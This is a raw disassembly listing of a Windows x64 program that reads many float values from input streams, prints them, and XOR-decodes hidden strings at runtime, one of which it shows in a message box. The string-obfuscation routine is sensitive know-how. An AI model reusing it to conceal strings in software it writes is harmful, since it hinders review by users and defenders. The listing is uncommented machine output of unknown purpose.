mov byte [0x1400b3edc], al
lea rcx, [rbp + 0x90b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x140080321
lea rdx, [rbp + 0x3294]
lea rcx, [rbp + 0x91c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x1400803fd
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x3294]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
movss xmm0, dword [rbp + 0x3294]
lea rdx, [rbp + 0x3294]
lea rcx, [rbp + 0x91c0]
movss dword [0x1400ae304], xmm0
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x1400803b0
lea rdx, [rbp + 0x3298]
lea rcx, [rbp + 0x92d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14008047b
nop word [rax + rax]
movss xmm1, dword [rbp + 0x3298]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
cvttss2si eax, dword [rbp + 0x3298]
lea rdx, [rbp + 0x3298]
lea rcx, [rbp + 0x92d0]
mov dword [0x1400b3cbc], eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x140080430
lea rdx, [rbp + 0x329c]
lea rcx, [rbp + 0x93e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x140080509
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x329c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
movss xmm0, dword [rbp + 0x329c]
ucomiss xmm0, xmm9
jp 0x1400804d9
jne 0x1400804d9
xor al, al
jmp 0x1400804db
mov al, 1
lea rdx, [rbp + 0x329c]
mov byte [0x1400b453e], al
lea rcx, [rbp + 0x93e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x1400804b0
lea rdx, [rbp + 0x32a0]
lea rcx, [rbp + 0x94f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14008058a
movss xmm1, dword [rbp + 0x32a0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
movss xmm0, dword [rbp + 0x32a0]
ucomiss xmm0, xmm9
jp 0x14008055a
jne 0x14008055a
xor al, al
jmp 0x14008055c
mov al, 1
lea rdx, [rbp + 0x32a0]
mov byte [0x1400b4a8f], al
lea rcx, [rbp + 0x94f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x140080531
lea rdx, [rbp + 0x32a4]
lea rcx, [rbp + 0x9600]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x140080619
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x32a4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
movss xmm0, dword [rbp + 0x32a4]
ucomiss xmm0, xmm9
jp 0x1400805e9
jne 0x1400805e9
xor al, al
jmp 0x1400805eb
mov al, 1
lea rdx, [rbp + 0x32a4]
mov byte [0x1400b40fd], al
lea rcx, [rbp + 0x9600]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x1400805c0
lea rdx, [rbp + 0x32a8]
lea rcx, [rbp + 0x9710]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14008069a
movss xmm1, dword [rbp + 0x32a8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
movss xmm0, dword [rbp + 0x32a8]
ucomiss xmm0, xmm9
jp 0x14008066a
jne 0x14008066a
xor al, al
jmp 0x14008066c
mov al, 1
lea rdx, [rbp + 0x32a8]
mov byte [0x1400b3ed9], al
lea rcx, [rbp + 0x9710]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x140080641
lea rdx, [rbp + 0x32ac]
lea rcx, [rbp + 0x9820]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x140080729
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x32ac]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
movss xmm0, dword [rbp + 0x32ac]
ucomiss xmm0, xmm9
jp 0x1400806f9
jne 0x1400806f9
xor al, al
jmp 0x1400806fb
mov al, 1
lea rdx, [rbp + 0x32ac]
mov byte [0x1400b453d], al
lea rcx, [rbp + 0x9820]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x1400806d0
lea rdx, [rbp + 0x32b0]
lea rcx, [rbp + 0x9930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x1400807aa
movss xmm1, dword [rbp + 0x32b0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
movss xmm0, dword [rbp + 0x32b0]
ucomiss xmm0, xmm9
jp 0x14008077a
jne 0x14008077a
xor al, al
jmp 0x14008077c
mov al, 1
lea rdx, [rbp + 0x32b0]
mov byte [0x1400b3a9f], al
lea rcx, [rbp + 0x9930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x140080751
lea rdx, [rbp + 0x32b4]
lea rcx, [rbp + 0x9a40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x140080839
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x32b4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
movss xmm0, dword [rbp + 0x32b4]
ucomiss xmm0, xmm9
jp 0x140080809
jne 0x140080809
xor al, al
jmp 0x14008080b
mov al, 1
lea rdx, [rbp + 0x32b4]
mov byte [0x1400b3219], al
lea rcx, [rbp + 0x9a40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x1400807e0
lea rdx, [rbp + 0x32b8]
lea rcx, [rbp + 0x9a40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x1400808ba
movss xmm1, dword [rbp + 0x32b8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
movss xmm0, dword [rbp + 0x32b8]
ucomiss xmm0, xmm9
jp 0x14008088a
jne 0x14008088a
xor al, al
jmp 0x14008088c
mov al, 1
lea rdx, [rbp + 0x32b8]
mov byte [0x1400b3ede], al
lea rcx, [rbp + 0x9a40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x140080861
lea rdx, [rbp + 0x32c0]
lea rcx, [rbp + 0x3bb0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x140080949
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x32c0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
movss xmm0, dword [rbp + 0x32c0]
ucomiss xmm0, xmm9
jp 0x140080919
jne 0x140080919
xor al, al
jmp 0x14008091b
mov al, 1
lea rdx, [rbp + 0x32c0]
mov byte [0x1400b321d], al
lea rcx, [rbp + 0x3bb0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x1400808f0
lea rcx, [rbp + 0x6c90]
call fcn.140089c90
lea rcx, [rbp + 0x6da0]
call fcn.140089c90
lea rcx, [rbp + 0x6eb0]
call fcn.140089c90
lea rcx, [rbp + 0x6fc0]
call fcn.140089c90
lea rcx, [rbp + 0x70d0]
call fcn.140089c90
lea rcx, [rbp + 0x71e0]
call fcn.140089c90
lea rcx, [rbp + 0x72f0]
call fcn.140089c90
lea rcx, [rbp + 0x7400]
call fcn.140089c90
lea rcx, [rbp + 0x7510]
call fcn.140089c90
lea rcx, [rbp + 0x7620]
call fcn.140089c90
lea rcx, [rbp + 0x7730]
call fcn.140089c90
lea rcx, [rbp + 0x7840]
call fcn.140089c90
lea rcx, [rbp + 0x7950]
call fcn.140089c90
lea rcx, [rbp + 0x7a60]
call fcn.140089c90
lea rcx, [rbp + 0x7b70]
call fcn.140089c90
lea rcx, [rbp + 0x7c80]
call fcn.140089c90
lea rcx, [rbp + 0x7d90]
call fcn.140089c90
lea rcx, [rbp + 0x7ea0]
call fcn.140089c90
lea rcx, [rbp + 0x7fb0]
call fcn.140089c90
lea rcx, [rbp + 0x80c0]
call fcn.140089c90
lea rcx, [rbp + 0x81d0]
call fcn.140089c90
lea rcx, [rbp + 0x82e0]
call fcn.140089c90
lea rcx, [rbp + 0x83f0]
call fcn.140089c90
lea rcx, [rbp + 0x8500]
call fcn.140089c90
lea rcx, [rbp + 0x8610]
call fcn.140089c90
lea rcx, [rbp + 0x8720]
call fcn.140089c90
lea rcx, [rbp + 0x8830]
call fcn.140089c90
lea rcx, [rbp + 0x8940]
call fcn.140089c90
lea rcx, [rbp + 0x8a50]
call fcn.140089c90
lea rcx, [rbp + 0x8b60]
call fcn.140089c90
lea rcx, [rbp + 0x8c70]
call fcn.140089c90
lea rcx, [rbp + 0x8d80]
call fcn.140089c90
lea rcx, [rbp + 0x8e90]
call fcn.140089c90
lea rcx, [rbp + 0x8fa0]
call fcn.140089c90
lea rcx, [rbp + 0x90b0]
call fcn.140089c90
lea rcx, [rbp + 0x91c0]
call fcn.140089c90
lea rcx, [rbp + 0x92d0]
call fcn.140089c90
lea rcx, [rbp + 0x93e0]
call fcn.140089c90
lea rcx, [rbp + 0x94f0]
call fcn.140089c90
lea rcx, [rbp + 0x9600]
call fcn.140089c90
lea rcx, [rbp + 0x9710]
call fcn.140089c90
lea rcx, [rbp + 0x9820]
call fcn.140089c90
lea rcx, [rbp + 0x9930]
call fcn.140089c90
lea rcx, [rbp + 0x9a40]
call fcn.140089c90
lea rcx, [rbp + 0x3aa0]
call fcn.140089c90
lea rcx, [rbp + 0x3bb0]
call fcn.140089c90
lea rcx, [rbp + 0x3bb0]
call fcn.1400569c0
lea rcx, [rbp + 0x3aa0]
call fcn.1400569c0
lea rcx, [rbp + 0x9a40]
call fcn.1400569c0
lea rcx, [rbp + 0x9930]
call fcn.1400569c0
lea rcx, [rbp + 0x9820]
call fcn.1400569c0
lea rcx, [rbp + 0x9710]
call fcn.1400569c0
lea rcx, [rbp + 0x9600]
call fcn.1400569c0
lea rcx, [rbp + 0x94f0]
call fcn.1400569c0
lea rcx, [rbp + 0x93e0]
call fcn.1400569c0
lea rcx, [rbp + 0x92d0]
call fcn.1400569c0
lea rcx, [rbp + 0x91c0]
call fcn.1400569c0
lea rcx, [rbp + 0x90b0]
call fcn.1400569c0
lea rcx, [rbp + 0x8fa0]
call fcn.1400569c0
lea rcx, [rbp + 0x8e90]
call fcn.1400569c0
lea rcx, [rbp + 0x8d80]
call fcn.1400569c0
lea rcx, [rbp + 0x8c70]
call fcn.1400569c0
lea rcx, [rbp + 0x8b60]
call fcn.1400569c0
lea rcx, [rbp + 0x8a50]
call fcn.1400569c0
lea rcx, [rbp + 0x8940]
call fcn.1400569c0
lea rcx, [rbp + 0x8830]
call fcn.1400569c0
lea rcx, [rbp + 0x8720]
call fcn.1400569c0
lea rcx, [rbp + 0x8610]
call fcn.1400569c0
lea rcx, [rbp + 0x8500]
call fcn.1400569c0
lea rcx, [rbp + 0x83f0]
call fcn.1400569c0
lea rcx, [rbp + 0x82e0]
call fcn.1400569c0
lea rcx, [rbp + 0x81d0]
call fcn.1400569c0
lea rcx, [rbp + 0x80c0]
call fcn.1400569c0
lea rcx, [rbp + 0x7fb0]
call fcn.1400569c0
lea rcx, [rbp + 0x7ea0]
call fcn.1400569c0
lea rcx, [rbp + 0x7d90]
call fcn.1400569c0
lea rcx, [rbp + 0x7c80]
call fcn.1400569c0
lea rcx, [rbp + 0x7b70]
call fcn.1400569c0
lea rcx, [rbp + 0x7a60]
call fcn.1400569c0
lea rcx, [rbp + 0x7950]
call fcn.1400569c0
lea rcx, [rbp + 0x7840]
call fcn.1400569c0
lea rcx, [rbp + 0x7730]
call fcn.1400569c0
lea rcx, [rbp + 0x7620]
call fcn.1400569c0
lea rcx, [rbp + 0x7510]
call fcn.1400569c0
lea rcx, [rbp + 0x7400]
call fcn.1400569c0
lea rcx, [rbp + 0x72f0]
call fcn.1400569c0
lea rcx, [rbp + 0x71e0]
call fcn.1400569c0
lea rcx, [rbp + 0x70d0]
call fcn.1400569c0
lea rcx, [rbp + 0x6fc0]
call fcn.1400569c0
lea rcx, [rbp + 0x6eb0]
call fcn.1400569c0
lea rcx, [rbp + 0x6da0]
call fcn.1400569c0
lea rcx, [rbp + 0x6c90]
call fcn.1400569c0
lea rcx, [0x1400900fa]
call fcn.140040350
movaps xmm1, xmm12
movaps xmm0, xmm10
call fcn.1400151e0
lea rdx, [rbp + 0x8a0]
mov byte [rbp + 0x59], 0
lea rcx, [rbp + 0x59]
call fcn.140088940
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140080f31
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x140080eed
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbx], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
pxor xmm2, xmm0
movd dword [rbx + 4], xmm2
mov r9d, r8d
add r9, rbx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140080f00
movaps xmm2, xmm9
lea rcx, [rbp + 0x518]
movaps xmm1, xmm9
call fcn.140002fe0
mov rdx, rax
mov rcx, rbx
call fcn.140041040
test al, al
je 0x140081701
lea rdx, [rbp + 0x960]
mov byte [rbp + 0x5a], 0
lea rcx, [rbp + 0x5a]
call fcn.140088970
xor ebx, ebx
mov r10, rax
cmp byte [rax + 0xd], bl
je 0x1400810d1
mov r8d, ebx
cmp esi, 2
jl 0x140081096
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r9d, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x1400810a0
mov r9d, 0x21
lea r8, str.INFO
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
sub eax, 1
je 0x1400812ce
cmp eax, 1
jne 0x140081701
lea rdx, [rbp + 0x22b0]
mov byte [rbp + 0x5b], 0
lea rcx, [rbp + 0x5b]
call fcn.1400889d0
mov r10, rax
cmp byte [rax + 0x22], 0
je 0x1400812b1
mov r8d, ebx
cmp esi, 2
jl 0x140081279
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
